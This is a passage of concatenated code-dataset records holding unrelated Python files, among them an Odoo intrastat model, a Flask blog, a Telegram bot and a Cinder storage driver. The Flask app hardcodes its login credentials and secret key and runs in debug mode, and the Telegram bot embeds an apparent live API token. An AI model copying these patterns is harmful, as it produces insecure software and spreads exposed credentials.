string='Obligation level for import',\n help=\"For the DEB : if your volume of import of products \"\n \"from EU countries is over 460 000 € per year, your obligation \"\n \"level for import is 'Detailed' ; if you are under this limit, you \"\n \"don't have to make a DEB for import and you should select 'None'.\")\n default_intrastat_department = fields.Char(\n string='Default departement code', size=2,\n help='If the Departement code is not set on the invoice, '\n 'OpenERP will use this value.')\n default_intrastat_transport = fields.Selection([\n (1, 'Transport maritime'),\n (2, 'Transport par chemin de fer'),\n (3, 'Transport par route'),\n (4, 'Transport par air'),\n (5, 'Envois postaux'),\n (7, 'Installations de transport fixes'),\n (8, 'Transport par navigation intérieure'),\n (9, 'Propulsion propre'),\n ], string='Default type of transport',\n help=\"If the 'Type of Transport' is not set on the invoice, \"\n \"OpenERP will use this value.\")\n default_intrastat_type_out_invoice = fields.Many2one(\n 'report.intrastat.type',\n string='Default intrastat type for customer invoice',\n ondelete='restrict')\n default_intrastat_type_out_refund = fields.Many2one(\n 'report.intrastat.type',\n string='Default intrastat type for customer refund',\n ondelete='restrict')\n default_intrastat_type_in_invoice = fields.Many2one(\n 'report.intrastat.type',\n string='Default intrastat type for supplier invoice',\n ondelete='restrict')\n\n @api.model\n def real_department_check(self, dpt):\n if dpt:\n if len(dpt) != 2: # '1' is not accepted -> must be '01'\n raise ValidationError(\n _(\"The department code must be 2 caracters long.\"))\n # 99 = Monaco, cf page 24 du BOD n°6883 du 06/01/2011\n if dpt in ['2A', '2B', '99']:\n return True\n if not dpt.isdigit():\n raise ValidationError(\n _(\"The department code must be a number or have the \"\n \"value '2A' or '2B' for Corsica.\"))\n if int(dpt) < 1 or int(dpt) > 95:\n raise ValidationError(\n _(\"The department code must be between 01 and 95 or \"\n \"have the value '2A' or '2B' for Corsica or '99' \"\n \"for Monaco.\"))\n return True\n\n @api.one\n @api.constrains('default_intrastat_department')\n def _check_default_intrastat_department(self):\n self.real_department_check(self.default_intrastat_department)\n\n @api.onchange('import_obligation_level', 'export_obligation_level')\n def obligation_level_on_change(self):\n result = {'warning': {}}\n if (self.export_obligation_level == 'detailed'\n or self.import_obligation_level == 'detailed'):\n result['warning']['title'] = _('Access Rights')\n result['warning']['message'] = _(\n \"You should add users to the 'Detailed Intrastat Product' \"\n \"group.\")\n result['warning']['message'] += '\\n'\n detailed_xmlid = 'l10n_fr_intrastat_product.'\\\n 'group_detailed_intrastat_product'\n if self.env['res.users'].has_group(detailed_xmlid):\n result['warning']['message'] += _(\n \"You are already in that group, but you may have to \"\n \"add other users to that group.\")\n else:\n result['warning']['message'] += _(\n \"You are not currently in that group.\")\n return result\n","sub_path":"l10n_fr_intrastat_product/models/company.py","file_name":"company.py","file_ext":"py","file_size_in_byte":5956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"88296231","text":"import sys; sys.stdin = open('5108.txt', 'r')\n\nclass Node:\n def __init__(self, data, link):\n self.data = data\n self.link = link\n\ndef addtoLast(data): #마지막 데이터 삽입\n global Head\n if Head == None:\n Head = Node(data, None)\n else:\n p = Head\n while p.link != None: #마지막 노드 찾을 때 까지\n p = p.link\n p.link = Node(data, None)\n\ndef add(pre, data): #pre 다음에 데이터 삽입, 가운데 노드로 삽입하는 알고리즘\n if pre == None:\n print('error')\n else:\n pre.link = Node(data, pre.link)\n\nT = int(input())\nfor tc in range(1):\n N, M, L = list(map(int, input().split()))\n sequence = list(map(int, input().split()))\n Head = None\n for i in sequence:\n addtoLast(i)\n\n\n for i in range(M):\n x, y = list(map(int, input().split()))\n insert_link = Head.link\n for j in range(x-2):\n insert_link = insert_link.link\n add(insert_link, y)\n N += 1\n\n result_link = Head.link\n for i in range(L-1):\n result_link = result_link.link\n\n print('#{} {}'.format(tc, result_link.data))\n\n\n\n","sub_path":"Problem/2019-09/2019-09-03/5108_Number_fine.py","file_name":"5108_Number_fine.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"172344313","text":"from flask import *\nimport sqlite3\nfrom functools import wraps\n\napp=Flask(__name__)\n\n\napp.secret_key=\"shibin\"\ndef login_required(f):\n\t@wraps(f)\n\tdef wrap(*args,**kwargs):\n\t\tif 'logged_in' in session:\n\t\t\treturn f(*args,**kwargs)\n\t\telse:\n\t\t\tflash('you need to login first.')\n\t\t\treturn redirect(url_for(\"/\"))\n\treturn wrap\n@app.route(\"/\",methods=['GET','POST'])\ndef login():\n\terror=None\n\tif request.method =='POST':\n\t\tif request.form['username'] != 'shibin' or request.form['password'] != 'justdoit':\n\t\t\terror ='invalid password or user name please try again'\n\t\telse:\n\t\t\tsession['logged_in'] = True\n\t\t\tflash('your just logged in!')\n\t\t\treturn redirect(url_for('home'))\n\treturn render_template('login.html',error=error)\n\n\n\n@app.route(\"/home\", methods=['GET','POST'])\n@login_required\ndef home():\n\tif request.method=='GET':\n\t\tdb=sqlite3.connect('blog.db')\n\t\tcur=db.execute('''SELECT * FROM POSTS''')\n\t\tposts = [dict(title=row[0],comment=row[1]) for row in cur.fetchall()]\n\t\t#cur=db.execute(\"SELECT * FROM blogspot ORDER BY id desc\")\n\t\t#posts=[dict(id=i[0],author=i[1],post=i[2],day=i[3],time=i[4],comment=i[5]) for i in cur.fetchall()]\n\n\t\tdb.close()\n\t\treturn render_template(\"home.html\",posts=posts)\n\n\telse:\n\t\tdb=sqlite3.connect('blog.db')\n\t\tdb.execute(\"INSERT INTO POSTS VALUES (?,?)\",\n\t\t\t\t[request.form['title'],request.form['comment']])\n\t\tdb.commit()\n\t\treturn redirect(url_for('home'))\n\n@app.route('/logout')\n@login_required\ndef logout():\n\tsession.pop('logged_in',None)\n\tflash('your just logged out!')\n\treturn redirect(url_for('/'))\n\n@app.route(\"/guest\")\ndef guest():\n\tdb=sqlite3.connect('blog.db')\n\tcur=db.execute('''SELECT * FROM POSTS''')\n\tposts = [dict(title=row[0],comment=row[1]) for row in cur.fetchall()]\n\tdb.close()\n\treturn render_template(\"home2.html\",posts=posts)\n\n\napp.run(debug=True)\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"581851599","text":"\"\"\"myshop URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\r\nExamples:\r\nFunction views\r\n 1. Add an import: from my_app import views\r\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\r\nClass-based views\r\n 1. Add an import: from other_app.views import Home\r\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n 1. Import the include() function: from django.conf.urls import url, include\r\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.conf.urls import url, include\r\nfrom django.contrib import admin\r\nfrom django.conf import settings\r\nfrom django.conf.urls.static import static\r\n\r\nurlpatterns = [\r\n url(r'^auth/', include('authentification.urls')),\r\n\r\n url(r'^api/reactions/', include('reactions.api.urls')),\r\n url(r'^api/messages/', include('messenger.api.urls')),\r\n url(r'^api/notifications/', include('notifications.api.urls')),\r\n url(r'^api/products/', include('shop.api.urls')),\r\n \r\n url(r'^admin/', admin.site.urls),\r\n url(r'^react/', include('reactions.urls')),\r\n url(r'^messages/', include('messenger.urls')),\r\n url(r'^notifications/', include('notifications.urls')),\r\n url(r'^discover/', include('discover.urls')),\r\n url(r'^shop/', include('shop.urls')),\r\n url(r'^posts/', include('posts.urls')),\r\n url(r'^wishlist/', include('wishlist.urls')),\r\n url(r'^album/', include('album.urls')),\r\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\r\n","sub_path":"myshop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"535337171","text":"from typing import Optional\n\nfrom PySide2.QtWidgets import QSpinBox\n\n\nclass TenthsSpinner(QSpinBox):\n def __init__(self, minimum: Optional[int] = None,\n maximum: Optional[int] = None,\n initial: Optional[int] = None) -> None:\n super().__init__()\n\n if minimum is not None:\n self.setMinimum(minimum)\n if maximum is not None:\n self.setMaximum(maximum)\n if initial is not None:\n self.setValue(initial)\n\n def textFromValue(self, val: int) -> str:\n return f\"X {val / 10:.1f}\"\n","sub_path":"qt_ui/widgets/floatspinners.py","file_name":"floatspinners.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"158001678","text":"from threading import Thread\nfrom typing import Iterator\n\nimport torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, TextIteratorStreamer\n\nmodel_id = 'LinkSoul/Chinese-Llama-2-7b'\n\nif torch.cuda.is_available():\n model = AutoModelForCausalLM.from_pretrained(\n model_id,\n local_files_only=True,\n torch_dtype=torch.float16,\n device_map='auto'\n )\nelse:\n model = None\ntokenizer = AutoTokenizer.from_pretrained(model_id)\n\n\ndef get_prompt(message: str, chat_history: list[tuple[str, str]],\n system_prompt: str) -> str:\n texts = [f'[INST] <>\\n{system_prompt}\\n<>\\n\\n']\n for user_input, response in chat_history:\n texts.append(f'{user_input.strip()} [/INST] {response.strip()} [INST] ')\n texts.append(f'{message.strip()} [/INST]')\n return ''.join(texts)\n\n\ndef run(message: str,\n chat_history: list[tuple[str, str]],\n system_prompt: str,\n max_new_tokens: int = 1024,\n temperature: float = 0.8,\n top_p: float = 0.95,\n top_k: int = 50) -> Iterator[str]:\n prompt = get_prompt(message, chat_history, system_prompt)\n inputs = tokenizer([prompt], return_tensors='pt').to(\"cuda\")\n\n streamer = TextIteratorStreamer(tokenizer,\n timeout=10.,\n skip_prompt=True,\n skip_special_tokens=True)\n generate_kwargs = dict(\n inputs,\n streamer=streamer,\n max_new_tokens=max_new_tokens,\n do_sample=True,\n top_p=top_p,\n top_k=top_k,\n temperature=temperature,\n num_beams=1,\n )\n t = Thread(target=model.generate, kwargs=generate_kwargs)\n t.start()\n\n outputs = []\n for text in streamer:\n outputs.append(text)\n yield ''.join(outputs)\n","sub_path":"aigc/llama2-chat/docker-llama2-chat/llama2-7b-cn/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"169328335","text":"from django.conf.urls import patterns, url\n\nfrom ringingDB import views\n\nurlpatterns = patterns('',\n url(r'^$', views.IndexView.as_view(), name='index'),\n url(r'^milestones$', views.MilestoneView.as_view(), name='milestones'),\n url(r'^performances/$', views.AllPerfView.as_view(), name='performances'),\n url(r'^performances/(?P\\d+)/$', views.performance, name='performance_qp'),\n url(r'^averages/(?P\\d+)/$', views.averages, name='averages'),\n url(r'^averages/$', views.averages, name='averages_all'),\n url(r'^ringers/$', views.ringers, name='ringers'),\n url(r'^methods/$', views.methods, name='methods'),\n url(r'^towers/$', views.towers, name='towers'),\n url(r'^performances/renumber$', views.renumber),\n)","sub_path":"mysite/ringingDB/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"554442815","text":"import time\nimport random\n\nimport pytest\n\nfrom ratelimit.backends import BaseBackend\nfrom ratelimit.rule import Rule, RULENAMES\n\n\n@pytest.fixture\ndef last_timestamps():\n return [random.choice([time.time() - 60 ** i, None]) for i in range(len(RULENAMES))]\n\n\n@pytest.mark.parametrize(\n \"second\", [2, None],\n)\n@pytest.mark.parametrize(\n \"minute\", [2, None],\n)\n@pytest.mark.parametrize(\n \"hour\", [2, None],\n)\n@pytest.mark.parametrize(\n \"day\", [2, None],\n)\n@pytest.mark.parametrize(\n \"month\", [2, None],\n)\ndef test_calc_incr_value(last_timestamps, second, minute, hour, day, month):\n result = {}\n if second:\n result.update({\"second\": {\"value\": second - 1, \"ttl\": 1 + 1}})\n if minute:\n result.update({\"minute\": {\"value\": minute - 1, \"ttl\": 60 + 1}})\n if hour:\n result.update({\"hour\": {\"value\": hour - 1, \"ttl\": 60 * 60 + 1}})\n if day:\n result.update({\"day\": {\"value\": day - 1, \"ttl\": 60 * 60 * 24 + 1}})\n if month:\n result.update({\"month\": {\"value\": month - 1, \"ttl\": 60 * 60 * 24 * 31 + 1}})\n\n assert (\n BaseBackend.calc_incr_value(\n last_timestamps, Rule(\"default\", second, minute, hour, day, month)\n )\n == result\n )\n","sub_path":"tests/backends/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"315410208","text":"import sys\nfrom io import BytesIO\n\nimport telegram\nfrom flask import Flask, request, send_file\n\nfrom fsm import TocMachine\nfrom werkzeug.contrib.cache import SimpleCache\ncache = SimpleCache()\n\nAPI_TOKEN = '356148980:AAHfSyBim0d8mgT3HhbTHc5Z3v_1cJQ3IoM'\nWEBHOOK_URL = 'https://a9b6ede6.ngrok.io/hook'\n\n\napp = Flask(__name__)\nbot = telegram.Bot(token=API_TOKEN)\nmachine = TocMachine(\n states=[\n 'user',\n 'help',\n 'map',\n 'calendar',\n 'download',\n 'downloadDetail',\n 'phone',\n 'links',\n 'weather',\n 'weatherWhere',\n 'faultCommand',\n 'chat',\n 'typingRoom',\n 'startState',\n 'question',\n 'eat'\n ],\n transitions=[\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'help',\n 'conditions': 'someone_need_help'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'map',\n 'conditions': 'NCKU_map'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'download',\n 'conditions': 'NCKU_download'\n },\n {\n 'trigger': 'advance',\n 'source': 'download',\n 'dest': 'downloadDetail',\n 'conditions': 'NCKU_download_detail'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'map',\n 'conditions': 'NCKU_map'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'calendar',\n 'conditions': 'NCKU_calendar'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'phone',\n 'conditions': 'NCKU_phone'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'links',\n 'conditions': 'NCKU_link'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'weather',\n 'conditions': 'ask_weather'\n },\n {\n 'trigger': 'advance',\n 'source': 'weather',\n 'dest': 'weatherWhere',\n 'conditions': 'ask_weather_where'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'chat',\n 'conditions': 'go_chatroom'\n },\n {\n 'trigger': 'advance',\n 'source': 'chat',\n 'dest': 'typingRoom',\n 'conditions': 'is_typing'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'startState',\n 'conditions': 'is_starting'\n },\n {\n 'trigger': 'still_chating',\n 'source': 'typingRoom',\n 'dest': 'chat'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'question',\n 'conditions': 'ask_question'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'eat',\n 'conditions': 'ask_food'\n },\n {\n 'trigger': 'advance',\n 'source': 'user',\n 'dest': 'faultCommand',\n 'conditions': 'use_fault_command'\n },\n {\n 'trigger': 'go_back',\n 'source': [\n 'help',\n 'map',\n 'calendar',\n 'download',\n 'downloadDetail',\n 'phone',\n 'links',\n 'weather',\n 'weatherWhere',\n 'chat',\n 'startState',\n 'question',\n 'eat',\n 'faultCommand'\n\n ],\n 'dest': 'user'\n }\n ],\n initial='user',\n auto_transitions=False,\n show_conditions=True,\n)\n\n\ndef _set_webhook():\n status = bot.set_webhook(WEBHOOK_URL)\n if not status:\n print('Webhook setup failed')\n sys.exit(1)\n else:\n print('Your webhook URL has been set to \"{}\"'.format(WEBHOOK_URL))\n\n\n@app.route('/hook', methods=['POST'])\ndef webhook_handler():\n if request.method == \"POST\":\n update = telegram.Update.de_json(request.get_json(force=True), bot)\n \n state = cache.get(update.message.chat_id) or 'user'\n machine.set_state(state)\n advance_status = machine.advance(update)\n cache.set(update.message.chat_id, machine.state)\n #machine.advance(update)\n return 'ok'\n\n\n\n@app.route('/show-fsm', methods=['GET'])\ndef show_fsm():\n byte_io = BytesIO()\n machine.graph.draw(byte_io, prog='dot', format='png')\n byte_io.seek(0)\n return send_file(byte_io, attachment_filename='fsm.png', mimetype='image/png')\n\n\nif __name__ == \"__main__\":\n _set_webhook()\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"512331884","text":"#!/usr/bin/env python\n\"\"\"\nThis is the website source code for the paper \"Epigenetic changes in aging human monocytes\".\nSee: https://artyomovlab.wustl.edu/aging/\n\nNOTE: python3 required\n> source activate py3.5\n\nauthor oleg.shpynov@jetbrains.com\n\"\"\"\nimport datetime\nimport os\nimport re\nimport shutil\n\nfrom collections import namedtuple\n\n# Tools versions\nSPAN_BUILD = '0.11.0.4882'\nSPAN_DATE = 'May 17, 2019'\n\nJBR_BUILD = '1.0.beta.4882'\nJBR_DATE = 'May 17, 2019'\n\nDIR = os.path.dirname(__file__)\nOUT_FOLDER = os.path.join(DIR, 'out')\n\nDistrDescriptor = namedtuple('DistrDescriptor', ['title', 'suffix', 'folder'])\n\n\ndef generate_jbr_data():\n template = 'jbr.html'\n with open(os.path.join(DIR, template), 'r') as f:\n template_html = f.read()\n\n def create_tr(dd, build):\n code_base = \"https://download.jetbrains.com/biolabs/jbr_browser\"\n fname = \"jbr-{}{}\".format(build, dd.suffix)\n url = \"{}/{}/{}\".format(code_base, dd.folder, fname)\n return \"\"\"\n \n {}\n {}\n \n \"\"\".format(url, fname, dd.title)\n\n with open(os.path.join(OUT_FOLDER, template), 'w') as f:\n descrs = [\n DistrDescriptor(\"Windows 64-bit ZIP archive (includes bundled 64-bit Java Runtime)\",\n \"_x64.zip\", \"win\"),\n DistrDescriptor(\"Windows 32-bit ZIP archive (includes bundled 32-bit Java Runtime)\",\n \"_x86.zip\", \"win\"),\n DistrDescriptor(\"Mac installer (includes bundled 64-bit Java Runtime)\",\n \".dmg\", \"mac\"),\n DistrDescriptor(\"Linux archive (includes bundled 64-bit Java Runtime)\",\n \".tar.gz\", \"linux\"),\n ]\n\n content = template_html. \\\n replace('@TABLE@', '\\n'.join([create_tr(d, JBR_BUILD) for d in descrs])) \\\n .replace('@BUILD@', JBR_BUILD) \\\n .replace('@DATE@', JBR_DATE) \\\n .replace('@MDATE@', '{} UTC'.format(datetime.datetime.now(datetime.timezone.utc).strftime('%c')))\n\n\n seen_file_names = set()\n for dd in descrs:\n fname = '@FILENAME-{}@'.format(dd.folder)\n if fname not in seen_file_names:\n seen_file_names.add(fname)\n content = content.replace(fname, \"{}{}\".format(JBR_BUILD, dd.suffix))\n\n f.write(content)\n\n\ndef generate_span_data():\n template = 'span.html'\n with open(os.path.join(DIR, template), 'r') as f:\n template_html = f.read()\n\n def create_tr(build):\n return \"\"\"\n \n {0}\n Multi-platform JAR package \n \n \"\"\".format(\"span-{0}.jar\".format(build))\n\n with open(os.path.join(OUT_FOLDER, template), 'w') as f:\n f.write(template_html.\n replace('@TABLE@', create_tr(SPAN_BUILD)).\n replace('@BUILD@', SPAN_BUILD).\n replace('@DATE@', SPAN_DATE).\n replace('@MDATE@', '{} UTC'.format(datetime.datetime.now(datetime.timezone.utc).strftime('%c')))\n )\n\n\ndef _cli():\n if os.path.exists(OUT_FOLDER):\n shutil.rmtree(OUT_FOLDER)\n os.mkdir(OUT_FOLDER)\n\n print('Creating JetBrains Research JBR page')\n generate_jbr_data()\n\n print('Creating JetBrains Research SPAN page')\n generate_span_data()\n\n print('Done')\n\n\nif __name__ == \"__main__\":\n _cli()","sub_path":"research-jetbrains-org/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":3496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"391398681","text":"#!/usr/bin/env python\r\n# tournament.py -- implementation of a Swiss-system tournament\r\n\r\nimport psycopg2\r\n\r\n\r\ndef connect():\r\n \"\"\"Connect to the PostgreSQL database. Returns a database connection.\"\"\"\r\n return psycopg2.connect(\"dbname=tournament\")\r\n\r\n\r\ndef deleteMatches():\r\n \"\"\"Remove all the match records from the database.\"\"\"\r\n db = connect()\r\n c = db.cursor()\r\n c.execute(\"DELETE FROM Matches;\")\r\n db.commit()\r\n db.close()\r\n\r\n\r\ndef deletePlayers():\r\n \"\"\"Remove all the player records from the database.\"\"\"\r\n db = connect()\r\n c = db.cursor()\r\n c.execute(\"DELETE FROM Players;\")\r\n db.commit()\r\n db.close()\r\n\r\n\r\ndef countPlayers():\r\n \"\"\"Returns the number of players currently registered.\"\"\"\r\n db = connect()\r\n c = db.cursor()\r\n c.execute(\"SELECT COUNT(*) FROM Players;\")\r\n for row in c:\r\n return row[0]\r\n db.commit()\r\n db.close()\r\n\r\n\r\ndef registerPlayer(name):\r\n \"\"\"Adds a player to the tournament database.\r\n The database assigns a unique serial id number for the player. (This\r\n should be handled by your SQL database schema, not in your Python code.)\r\n Args:\r\n name: the player's full name (need not be unique).\r\n \"\"\"\r\n db = connect()\r\n c = db.cursor()\r\n c.execute(\"INSERT INTO players (name) values (%s)\", (name, ))\r\n db.commit()\r\n db.close()\r\n\r\n\r\ndef playerStandings():\r\n \"\"\"Select all from the player standings view that shows a table\r\nof player id, name, wins(in descending order),\r\nand matches played\r\n \"\"\"\r\n db = connect()\r\n c = db.cursor()\r\n c.execute(\"SELECT * FROM playerStandings;\")\r\n rows = c.fetchall()\r\n db.close()\r\n return rows\r\n db.commit()\r\n db.close()\r\n\r\n\r\ndef reportMatch(winner, loser):\r\n \"\"\"Records the outcome of a single match between two players.\r\n I used columns for winner and loser as it was easier for me to understand the insert\r\n into the matches table.\r\n Args:\r\n winner: the id number of the player who won\r\n loser: the id number of the player who lost\r\n \"\"\"\r\n db = connect()\r\n c = db.cursor()\r\n c.execute(\"INSERT INTO matches (winner, loser) VALUES (%s, %s)\",\r\n (winner, loser))\r\n db.commit()\r\n db.close()\r\n\r\n\r\ndef swissPairings():\r\n \"\"\"Returns a list of tuples, each of which contains\r\n (id1, name1, id2, name2)Id1: the first player's unique id\r\n name1: the player's name\r\n id2: the second player's unique id\r\n name2: the second player's name\r\n \"\"\"\r\n \"\"\"\r\n For loops are traditionally used when you have a piece of\r\n code which you want to repeat a number of times.\r\n turorials http://www.dotnetperls.com/list-python\r\n \"\"\"\r\n # Iterate over each of the players and pair them\r\n # add another element to te end of the loop\r\n swisspairing = playerStandings()\r\n pairings = []\r\n for i in range(0, len(swisspairing), 2):\r\n pairings.append((swisspairing[i][0], swisspairing[i][1],\r\n swisspairing[i+1][0], swisspairing[i+1][1]))\r\n return pairings\r\n","sub_path":"tournament/tournament.py","file_name":"tournament.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"610081570","text":"import urllib\nimport sys\n\nfrom cinder.openstack.common import log as logging\nfrom cinder.volume import driver\nfrom cinder import exception\n\nsys.path.insert(0, '/usr/share/stratostorage/mancala_management_api.egg')\nfrom mancala.management.api import api\nfrom mancala.management.externalapi import volumes\nfrom mancala.management.externalapi import snapshots\nfrom mancala.management.externalapi import images\n\nLOG = logging.getLogger(__name__)\nGB = float( 1073741824 )\n\nclass MancalaDriver(driver.VolumeDriver):\n \"\"\"Implements Mancala (StratoStorage) volume commands.\"\"\"\n\n VERSION = '1.0.0'\n\n def __init__(self, *args, **kwargs):\n super(MancalaDriver, self).__init__(*args, **kwargs)\n self._volume_api = volumes.VolumeAPI()\n self._snapshot_api = snapshots.SnapshotAPI()\n self._image_api = images.ImageAPI()\n self._mancala_api = api.API()\n self._gotUpdate = False\n self._stats = {}\n\n def do_setup(self, context):\n \"\"\"Any initialization the volume driver does while starting\"\"\"\n pass\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n pass\n\n def create_volume(self, volume):\n \"\"\"Creates a logical volume.\"\"\"\n vol = self._volume_api.create(int(volume['size']), tag=str(volume['id']))\n return {'provider_location': vol['externalID']}\n\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"Creates a volume from a snapshot.\"\"\"\n srcExternalID = self._extract_mancala_id(snapshot)\n vol = self._volume_api.createFrom(srcExternalID, tag=str(volume['id']))\n return {'provider_location': vol['externalID']}\n\n def _parse_location(self, location):\n prefix = 'mancala://'\n if not location.startswith(prefix):\n reason = _('Not stored in mancala')\n raise exception.ImageUnacceptable(image_id=location, reason=reason)\n pieces = map(urllib.unquote, location[len(prefix):].split('/'))\n if any(map(lambda p: p == '', pieces)):\n reason = _('Blank components')\n raise exception.ImageUnacceptable(image_id=location, reason=reason)\n if len(pieces) != 1:\n reason = _('Invalid URL')\n raise exception.ImageUnacceptable(image_id=location, reason=reason)\n return str(pieces[0])\n\n def clone_image(self, volume, image_location, image_id, image_meta):\n image_location = image_location[0] if image_location else None\n if image_location is None:\n return ({}, False)\n try:\n image_id = self._parse_location(image_location)\n except exception.ImageUnacceptable as e:\n LOG.debug(_('Not cloneable: %s'), e)\n return False\n LOG.info( 'Clone image %s' % image_id )\n vol = self._volume_api.createFrom(image_id, tag=str(volume['id']))\n return {'provider_location': vol['externalID']}, True\n\n def copy_volume_to_image(self, context, volume, image_service, image_meta):\n volExternalID = self._extract_mancala_id(volume)\n vol = self._image_api.createFrom(volExternalID, tag=str(image_meta['id']))\n uri = 'mancala://%s' % vol['externalID']\n image_service.update(context, image_meta['id'], {'location': uri })\n\n def create_cloned_volume(self, volume, src_vref):\n \"\"\"Creates a clone of the specified volume.\"\"\"\n srcExternalID = self._extract_mancala_id(src_vref)\n vol = self._volume_api.createFrom(srcExternalID, tag=str(volume['id']))\n return {'provider_location': vol['externalID']}\n\n def delete_volume(self, volume):\n \"\"\"Deletes a volume.\"\"\"\n self._volume_api.delete(self._extract_mancala_id(volume))\n\n def create_snapshot(self, snapshot):\n \"\"\"Creates a snapshot.\"\"\"\n srcExternalID = self._extract_mancala_id(snapshot['volume'])\n vol = self._snapshot_api.createFrom(srcExternalID, tag=str(snapshot['id']))\n return {'provider_location': vol['externalID']}\n\n def delete_snapshot(self, snapshot):\n \"\"\"Deletes a snapshot.\"\"\"\n self._snapshot_api.delete(self._extract_mancala_id(snapshot))\n\n def ensure_export(self, context, volume):\n \"\"\"Synchronously recreates an export for a logical volume.\"\"\"\n pass\n\n def create_export(self, context, volume):\n \"\"\"Exports the volume.\"\"\"\n pass\n\n def remove_export(self, context, volume):\n \"\"\"Removes an export for a logical volume.\"\"\"\n pass\n\n def initialize_connection(self, volume, connector):\n vol_info = self._volume_api.attach(self._extract_mancala_id(volume), str(connector['host']))\n name = '%(dynid)s:%(lunid)s:%(size)s' % {'dynid': vol_info['dynastyID'],\n 'lunid': vol_info['lunID'],\n 'size': vol_info['size']}\n data = {\n 'driver_volume_type': 'mancala',\n 'data': {'name': name}\n }\n LOG.debug('connection data: %s', data)\n return data\n\n def terminate_connection(self, volume, connector, **kwargs):\n self._volume_api.detach(self._extract_mancala_id(volume), str(connector['host']))\n\n def extend_volume(self, volume, new_size):\n self._volume_api.extend(self._extract_mancala_id(volume), int(new_size))\n\n def _extract_mancala_id(self, volume):\n return str(volume['provider_location'])\n\n def _update_volume_stats(self):\n mancala_stats = self._mancala_api.getBackendStats()\n if len(mancala_stats) < 2 and not self._gotUpdate:\n total = 'unknown'\n free = 'unknown'\n else:\n total = (mancala_stats['avail'] + mancala_stats['used']) / GB\n free = mancala_stats['avail'] / GB\n self._gotUpdate = True\n stats = {\n 'vendor_name': 'StratoScale',\n 'driver_version': self.VERSION,\n 'storage_protocol': 'mancala',\n 'total_capacity_gb': total,\n 'free_capacity_gb': free,\n 'reserved_percentage': 0,\n }\n backend_name = self.configuration.safe_get('volume_backend_name')\n stats['volume_backend_name'] = backend_name or 'rack-storage'\n self._stats = stats\n\n def get_volume_stats(self, refresh=False):\n \"\"\"Return the current state of the volume service.\n\n If 'refresh' is True, run the update first.\n \"\"\"\n if refresh:\n self._update_volume_stats()\n return self._stats\n","sub_path":"cinder/volume/drivers/mancala_driver.py","file_name":"mancala_driver.py","file_ext":"py","file_size_in_byte":6530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"41811829","text":"import sqlite3\nfrom sqlite3 import Error\n\nimport util_text as ut\n\nfaq_db = \"./data/faqbot.db\"\n\ndef db_conn(db_file):\n try:\n conn = sqlite3.connect(db_file)\n print(\"Connected to Database \" + faq_db)\n return conn\n except Error as e:\n print(e)\n\n return None\n\ndef activate():\n cursor = db_conn(faq_db).cursor()\n return cursor\n\ndef activelist(cursor):\n cursor.execute('''SELECT is_live from faq_db''')\n actlst = cursor.fetchall()\n act = []\n for i in range(len(actlst)):\n act.append(actlst[i][0])\n return act\n\ndef fetchBot(item, cursor):\n cursor.execute('''SELECT key FROM faq_bot WHERE type=?''', (item,))\n try:\n itmlst = cursor.fetchone()\n itm = itmlst[0]\n except Error as e:\n print(e)\n return itm\n\ndef fetchCategories(cursor):\n cursor.execute('''SELECT keyword FROM faq_db WHERE is_live=1''')\n catlst = cursor.fetchall()\n cat = []\n for i in range(len(catlst)):\n cat.append(catlst[i][0])\n return cat\n\ndef 